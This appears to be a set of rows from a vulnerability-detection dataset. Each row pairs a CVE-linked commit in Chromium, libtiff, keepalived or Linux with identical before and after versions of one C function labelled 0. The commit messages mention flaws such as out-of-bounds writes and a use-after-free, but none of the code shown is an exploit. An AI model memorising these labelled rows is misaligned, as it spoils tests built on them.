| null |
https://github.com/chromium/chromium/commit/e9372a1bfd3588a80fcf49aa07321f0971dd6091
|
e9372a1bfd3588a80fcf49aa07321f0971dd6091
|
[V8] Pass Isolate to throwNotEnoughArgumentsError()
https://bugs.webkit.org/show_bug.cgi?id=86983
Reviewed by Adam Barth.
The objective is to pass Isolate around in V8 bindings.
This patch passes Isolate to throwNotEnoughArgumentsError().
No tests. No change in behavior.
* bindings/scripts/CodeGeneratorV8.pm:
(GenerateArgumentsCountCheck):
(GenerateEventConstructorCallback):
* bindings/scripts/test/V8/V8Float64Array.cpp:
(WebCore::Float64ArrayV8Internal::fooCallback):
* bindings/scripts/test/V8/V8TestActiveDOMObject.cpp:
(WebCore::TestActiveDOMObjectV8Internal::excitingFunctionCallback):
(WebCore::TestActiveDOMObjectV8Internal::postMessageCallback):
* bindings/scripts/test/V8/V8TestCustomNamedGetter.cpp:
(WebCore::TestCustomNamedGetterV8Internal::anotherFunctionCallback):
* bindings/scripts/test/V8/V8TestEventConstructor.cpp:
(WebCore::V8TestEventConstructor::constructorCallback):
* bindings/scripts/test/V8/V8TestEventTarget.cpp:
(WebCore::TestEventTargetV8Internal::itemCallback):
(WebCore::TestEventTargetV8Internal::dispatchEventCallback):
* bindings/scripts/test/V8/V8TestInterface.cpp:
(WebCore::TestInterfaceV8Internal::supplementalMethod2Callback):
(WebCore::V8TestInterface::constructorCallback):
* bindings/scripts/test/V8/V8TestMediaQueryListListener.cpp:
(WebCore::TestMediaQueryListListenerV8Internal::methodCallback):
* bindings/scripts/test/V8/V8TestNamedConstructor.cpp:
(WebCore::V8TestNamedConstructorConstructorCallback):
* bindings/scripts/test/V8/V8TestObj.cpp:
(WebCore::TestObjV8Internal::voidMethodWithArgsCallback):
(WebCore::TestObjV8Internal::intMethodWithArgsCallback):
(WebCore::TestObjV8Internal::objMethodWithArgsCallback):
(WebCore::TestObjV8Internal::methodWithSequenceArgCallback):
(WebCore::TestObjV8Internal::methodReturningSequenceCallback):
(WebCore::TestObjV8Internal::methodThatRequiresAllArgsAndThrowsCallback):
(WebCore::TestObjV8Internal::serializedValueCallback):
(WebCore::TestObjV8Internal::idbKeyCallback):
(WebCore::TestObjV8Internal::optionsObjectCallback):
(WebCore::TestObjV8Internal::methodWithNonOptionalArgAndOptionalArgCallback):
(WebCore::TestObjV8Internal::methodWithNonOptionalArgAndTwoOptionalArgsCallback):
(WebCore::TestObjV8Internal::methodWithCallbackArgCallback):
(WebCore::TestObjV8Internal::methodWithNonCallbackArgAndCallbackArgCallback):
(WebCore::TestObjV8Internal::overloadedMethod1Callback):
(WebCore::TestObjV8Internal::overloadedMethod2Callback):
(WebCore::TestObjV8Internal::overloadedMethod3Callback):
(WebCore::TestObjV8Internal::overloadedMethod4Callback):
(WebCore::TestObjV8Internal::overloadedMethod5Callback):
(WebCore::TestObjV8Internal::overloadedMethod6Callback):
(WebCore::TestObjV8Internal::overloadedMethod7Callback):
(WebCore::TestObjV8Internal::overloadedMethod11Callback):
(WebCore::TestObjV8Internal::overloadedMethod12Callback):
(WebCore::TestObjV8Internal::enabledAtRuntimeMethod1Callback):
(WebCore::TestObjV8Internal::enabledAtRuntimeMethod2Callback):
(WebCore::TestObjV8Internal::convert1Callback):
(WebCore::TestObjV8Internal::convert2Callback):
(WebCore::TestObjV8Internal::convert3Callback):
(WebCore::TestObjV8Internal::convert4Callback):
(WebCore::TestObjV8Internal::convert5Callback):
(WebCore::TestObjV8Internal::strictFunctionCallback):
(WebCore::V8TestObj::constructorCallback):
* bindings/scripts/test/V8/V8TestSerializedScriptValueInterface.cpp:
(WebCore::TestSerializedScriptValueInterfaceV8Internal::acceptTransferListCallback):
(WebCore::V8TestSerializedScriptValueInterface::constructorCallback):
* bindings/v8/ScriptController.cpp:
(WebCore::setValueAndClosePopupCallback):
* bindings/v8/V8Proxy.cpp:
(WebCore::V8Proxy::throwNotEnoughArgumentsError):
* bindings/v8/V8Proxy.h:
(V8Proxy):
* bindings/v8/custom/V8AudioContextCustom.cpp:
(WebCore::V8AudioContext::constructorCallback):
* bindings/v8/custom/V8DataViewCustom.cpp:
(WebCore::V8DataView::getInt8Callback):
(WebCore::V8DataView::getUint8Callback):
(WebCore::V8DataView::setInt8Callback):
(WebCore::V8DataView::setUint8Callback):
* bindings/v8/custom/V8DirectoryEntryCustom.cpp:
(WebCore::V8DirectoryEntry::getDirectoryCallback):
(WebCore::V8DirectoryEntry::getFileCallback):
* bindings/v8/custom/V8IntentConstructor.cpp:
(WebCore::V8Intent::constructorCallback):
* bindings/v8/custom/V8SVGLengthCustom.cpp:
(WebCore::V8SVGLength::convertToSpecifiedUnitsCallback):
* bindings/v8/custom/V8WebGLRenderingContextCustom.cpp:
(WebCore::getObjectParameter):
(WebCore::V8WebGLRenderingContext::getAttachedShadersCallback):
(WebCore::V8WebGLRenderingContext::getExtensionCallback):
(WebCore::V8WebGLRenderingContext::getFramebufferAttachmentParameterCallback):
(WebCore::V8WebGLRenderingContext::getParameterCallback):
(WebCore::V8WebGLRenderingContext::getProgramParameterCallback):
(WebCore::V8WebGLRenderingContext::getShaderParameterCallback):
(WebCore::V8WebGLRenderingContext::getUniformCallback):
(WebCore::vertexAttribAndUniformHelperf):
(WebCore::uniformHelperi):
(WebCore::uniformMatrixHelper):
* bindings/v8/custom/V8WebKitMutationObserverCustom.cpp:
(WebCore::V8WebKitMutationObserver::constructorCallback):
(WebCore::V8WebKitMutationObserver::observeCallback):
* bindings/v8/custom/V8WebSocketCustom.cpp:
(WebCore::V8WebSocket::constructorCallback):
(WebCore::V8WebSocket::sendCallback):
* bindings/v8/custom/V8XMLHttpRequestCustom.cpp:
(WebCore::V8XMLHttpRequest::openCallback):
git-svn-id: svn://svn.chromium.org/blink/trunk@117736 bbb929c8-8fbe-4397-9dbb-9b2b20218538
|
static v8::Handle<v8::Value> conditionalAttr3AttrGetter(v8::Local<v8::String> name, const v8::AccessorInfo& info)
{
INC_STATS("DOM.TestObj.conditionalAttr3._get");
TestObj* imp = V8TestObj::toNative(info.Holder());
return v8::Integer::New(imp->conditionalAttr3());
}
|
static v8::Handle<v8::Value> conditionalAttr3AttrGetter(v8::Local<v8::String> name, const v8::AccessorInfo& info)
{
INC_STATS("DOM.TestObj.conditionalAttr3._get");
TestObj* imp = V8TestObj::toNative(info.Holder());
return v8::Integer::New(imp->conditionalAttr3());
}
|
C
|
Chrome
| 0 |
CVE-2015-6782
|
https://www.cvedetails.com/cve/CVE-2015-6782/
|
CWE-20
|
https://github.com/chromium/chromium/commit/e1e0c4301aaa8228e362f2409dbde2d4d1896866
|
e1e0c4301aaa8228e362f2409dbde2d4d1896866
|
Don't change Document load progress in any page dismissal events.
This can confuse the logic for blocking modal dialogs.
BUG=536652
Review URL: https://codereview.chromium.org/1373113002
Cr-Commit-Position: refs/heads/master@{#351419}
|
String Document::userAgent(const KURL& url) const
{
return frame() ? frame()->loader().userAgent(url) : String();
}
|
String Document::userAgent(const KURL& url) const
{
return frame() ? frame()->loader().userAgent(url) : String();
}
|
C
|
Chrome
| 0 |
CVE-2016-9540
|
https://www.cvedetails.com/cve/CVE-2016-9540/
|
CWE-787
|
https://github.com/vadz/libtiff/commit/5ad9d8016fbb60109302d558f7edb2cb2a3bb8e3
|
5ad9d8016fbb60109302d558f7edb2cb2a3bb8e3
|
* tools/tiffcp.c: fix out-of-bounds write on tiled images with odd
tile width vs image width. Reported as MSVR 35103
by Axel Souchet and Vishal Chauhan from the MSRC Vulnerabilities &
Mitigations team.
|
DECLAREcpFunc(cpContigTiles2ContigTiles)
{
return cpImage(in, out,
readContigTilesIntoBuffer,
writeBufferToContigTiles,
imagelength, imagewidth, spp);
}
|
DECLAREcpFunc(cpContigTiles2ContigTiles)
{
return cpImage(in, out,
readContigTilesIntoBuffer,
writeBufferToContigTiles,
imagelength, imagewidth, spp);
}
|
C
|
libtiff
| 0 |
CVE-2012-2890
|
https://www.cvedetails.com/cve/CVE-2012-2890/
|
CWE-399
|
https://github.com/chromium/chromium/commit/a6f7726de20450074a01493e4e85409ce3f2595a
|
a6f7726de20450074a01493e4e85409ce3f2595a
|
Unreviewed, rolling out r147402.
http://trac.webkit.org/changeset/147402
https://bugs.webkit.org/show_bug.cgi?id=112903
Source/WebCore:
* dom/Document.cpp:
(WebCore::Document::processHttpEquiv):
* loader/DocumentLoader.cpp:
(WebCore::DocumentLoader::responseReceived):
LayoutTests:
* http/tests/security/XFrameOptions/x-frame-options-deny-expected.txt:
* http/tests/security/XFrameOptions/x-frame-options-deny-meta-tag-expected.txt:
* http/tests/security/XFrameOptions/x-frame-options-deny-meta-tag-in-body-expected.txt:
* http/tests/security/XFrameOptions/x-frame-options-deny-meta-tag-in-body.html:
* http/tests/security/XFrameOptions/x-frame-options-deny-meta-tag-parent-same-origin-deny-expected.txt:
* http/tests/security/XFrameOptions/x-frame-options-deny-meta-tag-parent-same-origin-deny.html:
* http/tests/security/XFrameOptions/x-frame-options-deny-meta-tag.html:
* http/tests/security/XFrameOptions/x-frame-options-deny.html:
* http/tests/security/XFrameOptions/x-frame-options-multiple-headers-sameorigin-deny-expected.txt:
* http/tests/security/XFrameOptions/x-frame-options-multiple-headers-sameorigin-deny.html:
* http/tests/security/XFrameOptions/x-frame-options-parent-same-origin-deny-expected.txt:
* http/tests/security/XFrameOptions/x-frame-options-parent-same-origin-deny.html:
* platform/chromium/http/tests/security/XFrameOptions/x-frame-options-deny-expected.txt:
* platform/chromium/http/tests/security/XFrameOptions/x-frame-options-deny-meta-tag-expected.txt:
* platform/chromium/http/tests/security/XFrameOptions/x-frame-options-deny-meta-tag-in-body-expected.txt:
* platform/chromium/http/tests/security/XFrameOptions/x-frame-options-deny-meta-tag-parent-same-origin-deny-expected.txt:
* platform/chromium/http/tests/security/XFrameOptions/x-frame-options-multiple-headers-sameorigin-deny-expected.txt:
* platform/chromium/http/tests/security/XFrameOptions/x-frame-options-parent-same-origin-deny-expected.txt:
git-svn-id: svn://svn.chromium.org/blink/trunk@147450 bbb929c8-8fbe-4397-9dbb-9b2b20218538
|
bool Document::isLayoutTimerActive()
{
return view() && view()->layoutPending() && !minimumLayoutDelay();
}
|
bool Document::isLayoutTimerActive()
{
return view() && view()->layoutPending() && !minimumLayoutDelay();
}
|
C
|
Chrome
| 0 |
CVE-2018-19045
|
https://www.cvedetails.com/cve/CVE-2018-19045/
|
CWE-200
|
https://github.com/acassen/keepalived/commit/c6247a9ef2c7b33244ab1d3aa5d629ec49f0a067
|
c6247a9ef2c7b33244ab1d3aa5d629ec49f0a067
|
Add command line and configuration option to set umask
Issue #1048 identified that files created by keepalived are created
with mode 0666. This commit changes the default to 0644, and also
allows the umask to be specified in the configuration or as a command
line option.
Signed-off-by: Quentin Armitage <[email protected]>
|
vrrp_ipsets_handler(vector_t *strvec)
{
size_t len;
if (vector_size(strvec) >= 2) {
if (strlen(strvec_slot(strvec,1)) >= sizeof(global_data->vrrp_ipset_address)-1) {
report_config_error(CONFIG_GENERAL_ERROR, "VRRP Error : ipset address name too long - ignored");
return;
}
strcpy(global_data->vrrp_ipset_address, strvec_slot(strvec,1));
}
else {
global_data->using_ipsets = false;
return;
}
if (vector_size(strvec) >= 3) {
if (strlen(strvec_slot(strvec,2)) >= sizeof(global_data->vrrp_ipset_address6)-1) {
report_config_error(CONFIG_GENERAL_ERROR, "VRRP Error : ipset IPv6 address name too long - ignored");
return;
}
strcpy(global_data->vrrp_ipset_address6, strvec_slot(strvec,2));
}
else {
/* No second set specified, copy first name and add "6" */
strcpy(global_data->vrrp_ipset_address6, global_data->vrrp_ipset_address);
global_data->vrrp_ipset_address6[sizeof(global_data->vrrp_ipset_address6) - 2] = '\0';
strcat(global_data->vrrp_ipset_address6, "6");
}
if (vector_size(strvec) >= 4) {
if (strlen(strvec_slot(strvec,3)) >= sizeof(global_data->vrrp_ipset_address_iface6)-1) {
report_config_error(CONFIG_GENERAL_ERROR, "VRRP Error : ipset IPv6 address_iface name too long - ignored");
return;
}
strcpy(global_data->vrrp_ipset_address_iface6, strvec_slot(strvec,3));
}
else {
/* No third set specified, copy second name and add "_if6" */
strcpy(global_data->vrrp_ipset_address_iface6, global_data->vrrp_ipset_address6);
len = strlen(global_data->vrrp_ipset_address_iface6);
if (global_data->vrrp_ipset_address_iface6[len-1] == '6')
global_data->vrrp_ipset_address_iface6[--len] = '\0';
global_data->vrrp_ipset_address_iface6[sizeof(global_data->vrrp_ipset_address_iface6) - 5] = '\0';
strcat(global_data->vrrp_ipset_address_iface6, "_if6");
}
}
|
vrrp_ipsets_handler(vector_t *strvec)
{
size_t len;
if (vector_size(strvec) >= 2) {
if (strlen(strvec_slot(strvec,1)) >= sizeof(global_data->vrrp_ipset_address)-1) {
report_config_error(CONFIG_GENERAL_ERROR, "VRRP Error : ipset address name too long - ignored");
return;
}
strcpy(global_data->vrrp_ipset_address, strvec_slot(strvec,1));
}
else {
global_data->using_ipsets = false;
return;
}
if (vector_size(strvec) >= 3) {
if (strlen(strvec_slot(strvec,2)) >= sizeof(global_data->vrrp_ipset_address6)-1) {
report_config_error(CONFIG_GENERAL_ERROR, "VRRP Error : ipset IPv6 address name too long - ignored");
return;
}
strcpy(global_data->vrrp_ipset_address6, strvec_slot(strvec,2));
}
else {
/* No second set specified, copy first name and add "6" */
strcpy(global_data->vrrp_ipset_address6, global_data->vrrp_ipset_address);
global_data->vrrp_ipset_address6[sizeof(global_data->vrrp_ipset_address6) - 2] = '\0';
strcat(global_data->vrrp_ipset_address6, "6");
}
if (vector_size(strvec) >= 4) {
if (strlen(strvec_slot(strvec,3)) >= sizeof(global_data->vrrp_ipset_address_iface6)-1) {
report_config_error(CONFIG_GENERAL_ERROR, "VRRP Error : ipset IPv6 address_iface name too long - ignored");
return;
}
strcpy(global_data->vrrp_ipset_address_iface6, strvec_slot(strvec,3));
}
else {
/* No third set specified, copy second name and add "_if6" */
strcpy(global_data->vrrp_ipset_address_iface6, global_data->vrrp_ipset_address6);
len = strlen(global_data->vrrp_ipset_address_iface6);
if (global_data->vrrp_ipset_address_iface6[len-1] == '6')
global_data->vrrp_ipset_address_iface6[--len] = '\0';
global_data->vrrp_ipset_address_iface6[sizeof(global_data->vrrp_ipset_address_iface6) - 5] = '\0';
strcat(global_data->vrrp_ipset_address_iface6, "_if6");
}
}
|
C
|
keepalived
| 0 |
CVE-2016-7912
|
https://www.cvedetails.com/cve/CVE-2016-7912/
|
CWE-416
|
https://github.com/torvalds/linux/commit/38740a5b87d53ceb89eb2c970150f6e94e00373a
|
38740a5b87d53ceb89eb2c970150f6e94e00373a
|
usb: gadget: f_fs: Fix use-after-free
When using asynchronous read or write operations on the USB endpoints the
issuer of the IO request is notified by calling the ki_complete() callback
of the submitted kiocb when the URB has been completed.
Calling this ki_complete() callback will free kiocb. Make sure that the
structure is no longer accessed beyond that point, otherwise undefined
behaviour might occur.
Fixes: 2e4c7553cd6f ("usb: gadget: f_fs: add aio support")
Cc: <[email protected]> # v3.15+
Signed-off-by: Lars-Peter Clausen <[email protected]>
Signed-off-by: Felipe Balbi <[email protected]>
|
static int __must_check ffs_do_single_desc(char *data, unsigned len,
ffs_entity_callback entity,
void *priv)
{
struct usb_descriptor_header *_ds = (void *)data;
u8 length;
int ret;
ENTER();
/* At least two bytes are required: length and type */
if (len < 2) {
pr_vdebug("descriptor too short\n");
return -EINVAL;
}
/* If we have at least as many bytes as the descriptor takes? */
length = _ds->bLength;
if (len < length) {
pr_vdebug("descriptor longer then available data\n");
return -EINVAL;
}
#define __entity_check_INTERFACE(val) 1
#define __entity_check_STRING(val) (val)
#define __entity_check_ENDPOINT(val) ((val) & USB_ENDPOINT_NUMBER_MASK)
#define __entity(type, val) do { \
pr_vdebug("entity " #type "(%02x)\n", (val)); \
if (unlikely(!__entity_check_ ##type(val))) { \
pr_vdebug("invalid entity's value\n"); \
return -EINVAL; \
} \
ret = entity(FFS_ ##type, &val, _ds, priv); \
if (unlikely(ret < 0)) { \
pr_debug("entity " #type "(%02x); ret = %d\n", \
(val), ret); \
return ret; \
} \
} while (0)
/* Parse descriptor depending on type. */
switch (_ds->bDescriptorType) {
case USB_DT_DEVICE:
case USB_DT_CONFIG:
case USB_DT_STRING:
case USB_DT_DEVICE_QUALIFIER:
/* function can't have any of those */
pr_vdebug("descriptor reserved for gadget: %d\n",
_ds->bDescriptorType);
return -EINVAL;
case USB_DT_INTERFACE: {
struct usb_interface_descriptor *ds = (void *)_ds;
pr_vdebug("interface descriptor\n");
if (length != sizeof *ds)
goto inv_length;
__entity(INTERFACE, ds->bInterfaceNumber);
if (ds->iInterface)
__entity(STRING, ds->iInterface);
}
break;
case USB_DT_ENDPOINT: {
struct usb_endpoint_descriptor *ds = (void *)_ds;
pr_vdebug("endpoint descriptor\n");
if (length != USB_DT_ENDPOINT_SIZE &&
length != USB_DT_ENDPOINT_AUDIO_SIZE)
goto inv_length;
__entity(ENDPOINT, ds->bEndpointAddress);
}
break;
case HID_DT_HID:
pr_vdebug("hid descriptor\n");
if (length != sizeof(struct hid_descriptor))
goto inv_length;
break;
case USB_DT_OTG:
if (length != sizeof(struct usb_otg_descriptor))
goto inv_length;
break;
case USB_DT_INTERFACE_ASSOCIATION: {
struct usb_interface_assoc_descriptor *ds = (void *)_ds;
pr_vdebug("interface association descriptor\n");
if (length != sizeof *ds)
goto inv_length;
if (ds->iFunction)
__entity(STRING, ds->iFunction);
}
break;
case USB_DT_SS_ENDPOINT_COMP:
pr_vdebug("EP SS companion descriptor\n");
if (length != sizeof(struct usb_ss_ep_comp_descriptor))
goto inv_length;
break;
case USB_DT_OTHER_SPEED_CONFIG:
case USB_DT_INTERFACE_POWER:
case USB_DT_DEBUG:
case USB_DT_SECURITY:
case USB_DT_CS_RADIO_CONTROL:
/* TODO */
pr_vdebug("unimplemented descriptor: %d\n", _ds->bDescriptorType);
return -EINVAL;
default:
/* We should never be here */
pr_vdebug("unknown descriptor: %d\n", _ds->bDescriptorType);
return -EINVAL;
inv_length:
pr_vdebug("invalid length: %d (descriptor %d)\n",
_ds->bLength, _ds->bDescriptorType);
return -EINVAL;
}
#undef __entity
#undef __entity_check_DESCRIPTOR
#undef __entity_check_INTERFACE
#undef __entity_check_STRING
#undef __entity_check_ENDPOINT
return length;
}
|
static int __must_check ffs_do_single_desc(char *data, unsigned len,
ffs_entity_callback entity,
void *priv)
{
struct usb_descriptor_header *_ds = (void *)data;
u8 length;
int ret;
ENTER();
/* At least two bytes are required: length and type */
if (len < 2) {
pr_vdebug("descriptor too short\n");
return -EINVAL;
}
/* If we have at least as many bytes as the descriptor takes? */
length = _ds->bLength;
if (len < length) {
pr_vdebug("descriptor longer then available data\n");
return -EINVAL;
}
#define __entity_check_INTERFACE(val) 1
#define __entity_check_STRING(val) (val)
#define __entity_check_ENDPOINT(val) ((val) & USB_ENDPOINT_NUMBER_MASK)
#define __entity(type, val) do { \
pr_vdebug("entity " #type "(%02x)\n", (val)); \
if (unlikely(!__entity_check_ ##type(val))) { \
pr_vdebug("invalid entity's value\n"); \
return -EINVAL; \
} \
ret = entity(FFS_ ##type, &val, _ds, priv); \
if (unlikely(ret < 0)) { \
pr_debug("entity " #type "(%02x); ret = %d\n", \
(val), ret); \
return ret; \
} \
} while (0)
/* Parse descriptor depending on type. */
switch (_ds->bDescriptorType) {
case USB_DT_DEVICE:
case USB_DT_CONFIG:
case USB_DT_STRING:
case USB_DT_DEVICE_QUALIFIER:
/* function can't have any of those */
pr_vdebug("descriptor reserved for gadget: %d\n",
_ds->bDescriptorType);
return -EINVAL;
case USB_DT_INTERFACE: {
struct usb_interface_descriptor *ds = (void *)_ds;
pr_vdebug("interface descriptor\n");
if (length != sizeof *ds)
goto inv_length;
__entity(INTERFACE, ds->bInterfaceNumber);
if (ds->iInterface)
__entity(STRING, ds->iInterface);
}
break;
case USB_DT_ENDPOINT: {
struct usb_endpoint_descriptor *ds = (void *)_ds;
pr_vdebug("endpoint descriptor\n");
if (length != USB_DT_ENDPOINT_SIZE &&
length != USB_DT_ENDPOINT_AUDIO_SIZE)
goto inv_length;
__entity(ENDPOINT, ds->bEndpointAddress);
}
break;
case HID_DT_HID:
pr_vdebug("hid descriptor\n");
if (length != sizeof(struct hid_descriptor))
goto inv_length;
break;
case USB_DT_OTG:
if (length != sizeof(struct usb_otg_descriptor))
goto inv_length;
break;
case USB_DT_INTERFACE_ASSOCIATION: {
struct usb_interface_assoc_descriptor *ds = (void *)_ds;
pr_vdebug("interface association descriptor\n");
if (length != sizeof *ds)
goto inv_length;
if (ds->iFunction)
__entity(STRING, ds->iFunction);
}
break;
case USB_DT_SS_ENDPOINT_COMP:
pr_vdebug("EP SS companion descriptor\n");
if (length != sizeof(struct usb_ss_ep_comp_descriptor))
goto inv_length;
break;
case USB_DT_OTHER_SPEED_CONFIG:
case USB_DT_INTERFACE_POWER:
case USB_DT_DEBUG:
case USB_DT_SECURITY:
case USB_DT_CS_RADIO_CONTROL:
/* TODO */
pr_vdebug("unimplemented descriptor: %d\n", _ds->bDescriptorType);
return -EINVAL;
default:
/* We should never be here */
pr_vdebug("unknown descriptor: %d\n", _ds->bDescriptorType);
return -EINVAL;
inv_length:
pr_vdebug("invalid length: %d (descriptor %d)\n",
_ds->bLength, _ds->bDescriptorType);
return -EINVAL;
}
#undef __entity
#undef __entity_check_DESCRIPTOR
#undef __entity_check_INTERFACE
#undef __entity_check_STRING
#undef __entity_check_ENDPOINT
return length;
}
|
C
|
linux
| 0 |
CVE-2016-10093
|
https://www.cvedetails.com/cve/CVE-2016-10093/
|
CWE-190
|
https://github.com/vadz/libtiff/commit/787c0ee906430b772f33ca50b97b8b5ca070faec
|
787c0ee906430b772f33ca50b97b8b5ca070faec
|
* tools/tiffcp.c: fix uint32 underflow/overflow that can cause heap-based
buffer overflow.
Reported by Agostino Sarubbo.
Fixes http://bugzilla.maptools.org/show_bug.cgi?id=2610
|
DECLAREwriteFunc(writeBufferToSeparateTiles)
{
uint32 imagew = TIFFScanlineSize(out);
tsize_t tilew = TIFFTileRowSize(out);
uint32 iimagew = TIFFRasterScanlineSize(out);
int iskew = iimagew - tilew*spp;
tsize_t tilesize = TIFFTileSize(out);
tdata_t obuf;
uint8* bufp = (uint8*) buf;
uint32 tl, tw;
uint32 row;
uint16 bps = 0, bytes_per_sample;
obuf = _TIFFmalloc(TIFFTileSize(out));
if (obuf == NULL)
return 0;
_TIFFmemset(obuf, 0, tilesize);
(void) TIFFGetField(out, TIFFTAG_TILELENGTH, &tl);
(void) TIFFGetField(out, TIFFTAG_TILEWIDTH, &tw);
(void) TIFFGetField(out, TIFFTAG_BITSPERSAMPLE, &bps);
if( bps == 0 )
{
TIFFError(TIFFFileName(out), "Error, cannot read BitsPerSample");
_TIFFfree(obuf);
return 0;
}
assert( bps % 8 == 0 );
bytes_per_sample = bps/8;
for (row = 0; row < imagelength; row += tl) {
uint32 nrow = (row+tl > imagelength) ? imagelength-row : tl;
uint32 colb = 0;
uint32 col;
for (col = 0; col < imagewidth; col += tw) {
tsample_t s;
for (s = 0; s < spp; s++) {
/*
* Tile is clipped horizontally. Calculate
* visible portion and skewing factors.
*/
if (colb + tilew > imagew) {
uint32 width = (imagew - colb);
int oskew = tilew - width;
cpContigBufToSeparateBuf(obuf,
bufp + (colb*spp) + s,
nrow, width/bytes_per_sample,
oskew, (oskew*spp)+iskew, spp,
bytes_per_sample);
} else
cpContigBufToSeparateBuf(obuf,
bufp + (colb*spp) + s,
nrow, tilewidth,
0, iskew, spp,
bytes_per_sample);
if (TIFFWriteTile(out, obuf, col, row, 0, s) < 0) {
TIFFError(TIFFFileName(out),
"Error, can't write tile at %lu %lu "
"sample %lu",
(unsigned long) col,
(unsigned long) row,
(unsigned long) s);
_TIFFfree(obuf);
return 0;
}
}
colb += tilew;
}
bufp += nrow * iimagew;
}
_TIFFfree(obuf);
return 1;
}
|
DECLAREwriteFunc(writeBufferToSeparateTiles)
{
uint32 imagew = TIFFScanlineSize(out);
tsize_t tilew = TIFFTileRowSize(out);
uint32 iimagew = TIFFRasterScanlineSize(out);
int iskew = iimagew - tilew*spp;
tsize_t tilesize = TIFFTileSize(out);
tdata_t obuf;
uint8* bufp = (uint8*) buf;
uint32 tl, tw;
uint32 row;
uint16 bps = 0, bytes_per_sample;
obuf = _TIFFmalloc(TIFFTileSize(out));
if (obuf == NULL)
return 0;
_TIFFmemset(obuf, 0, tilesize);
(void) TIFFGetField(out, TIFFTAG_TILELENGTH, &tl);
(void) TIFFGetField(out, TIFFTAG_TILEWIDTH, &tw);
(void) TIFFGetField(out, TIFFTAG_BITSPERSAMPLE, &bps);
if( bps == 0 )
{
TIFFError(TIFFFileName(out), "Error, cannot read BitsPerSample");
_TIFFfree(obuf);
return 0;
}
assert( bps % 8 == 0 );
bytes_per_sample = bps/8;
for (row = 0; row < imagelength; row += tl) {
uint32 nrow = (row+tl > imagelength) ? imagelength-row : tl;
uint32 colb = 0;
uint32 col;
for (col = 0; col < imagewidth; col += tw) {
tsample_t s;
for (s = 0; s < spp; s++) {
/*
* Tile is clipped horizontally. Calculate
* visible portion and skewing factors.
*/
if (colb + tilew > imagew) {
uint32 width = (imagew - colb);
int oskew = tilew - width;
cpContigBufToSeparateBuf(obuf,
bufp + (colb*spp) + s,
nrow, width/bytes_per_sample,
oskew, (oskew*spp)+iskew, spp,
bytes_per_sample);
} else
cpContigBufToSeparateBuf(obuf,
bufp + (colb*spp) + s,
nrow, tilewidth,
0, iskew, spp,
bytes_per_sample);
if (TIFFWriteTile(out, obuf, col, row, 0, s) < 0) {
TIFFError(TIFFFileName(out),
"Error, can't write tile at %lu %lu "
"sample %lu",
(unsigned long) col,
(unsigned long) row,
(unsigned long) s);
_TIFFfree(obuf);
return 0;
}
}
colb += tilew;
}
bufp += nrow * iimagew;
}
_TIFFfree(obuf);
return 1;
}
|
C
|
libtiff
| 0 |
null | null | null |
https://github.com/chromium/chromium/commit/5c9d37f8055700c36b4c9006b0d4d81f4f961a06
|
5c9d37f8055700c36b4c9006b0d4d81f4f961a06
|
2010-07-26 Tony Gentilcore <[email protected]>
Reviewed by Darin Fisher.
Move DocumentLoadTiming struct to a new file
https://bugs.webkit.org/show_bug.cgi?id=42917
Also makes DocumentLoadTiming Noncopyable.
No new tests because no new functionality.
* GNUmakefile.am:
* WebCore.gypi:
* WebCore.vcproj/WebCore.vcproj:
* WebCore.xcodeproj/project.pbxproj:
* loader/DocumentLoadTiming.h: Added.
(WebCore::DocumentLoadTiming::DocumentLoadTiming):
* loader/DocumentLoader.h:
* loader/FrameLoader.cpp:
* loader/FrameLoaderTypes.h:
* loader/MainResourceLoader.cpp:
* page/Timing.cpp:
git-svn-id: svn://svn.chromium.org/blink/trunk@64051 bbb929c8-8fbe-4397-9dbb-9b2b20218538
|
void MainResourceLoader::didCancel(const ResourceError& error)
{
m_dataLoadTimer.stop();
RefPtr<MainResourceLoader> protect(this);
if (m_waitingForContentPolicy) {
frameLoader()->policyChecker()->cancelCheck();
ASSERT(m_waitingForContentPolicy);
m_waitingForContentPolicy = false;
deref(); // balances ref in didReceiveResponse
}
frameLoader()->receivedMainResourceError(error, true);
ResourceLoader::didCancel(error);
}
|
void MainResourceLoader::didCancel(const ResourceError& error)
{
m_dataLoadTimer.stop();
RefPtr<MainResourceLoader> protect(this);
if (m_waitingForContentPolicy) {
frameLoader()->policyChecker()->cancelCheck();
ASSERT(m_waitingForContentPolicy);
m_waitingForContentPolicy = false;
deref(); // balances ref in didReceiveResponse
}
frameLoader()->receivedMainResourceError(error, true);
ResourceLoader::didCancel(error);
}
|
C
|
Chrome
| 0 |
CVE-2017-5016
|
https://www.cvedetails.com/cve/CVE-2017-5016/
|
CWE-1021
|
https://github.com/chromium/chromium/commit/a8e17a3031b6ad69c399e5e04dd0084e577097fc
|
a8e17a3031b6ad69c399e5e04dd0084e577097fc
|
Form validation: Do not show validation bubble if the page is invisible.
BUG=673163
Review-Url: https://codereview.chromium.org/2572813003
Cr-Commit-Position: refs/heads/master@{#438476}
|
String HTMLFormControlElement::resultForDialogSubmit() {
return fastGetAttribute(valueAttr);
}
|
String HTMLFormControlElement::resultForDialogSubmit() {
return fastGetAttribute(valueAttr);
}
|
C
|
Chrome
| 0 |
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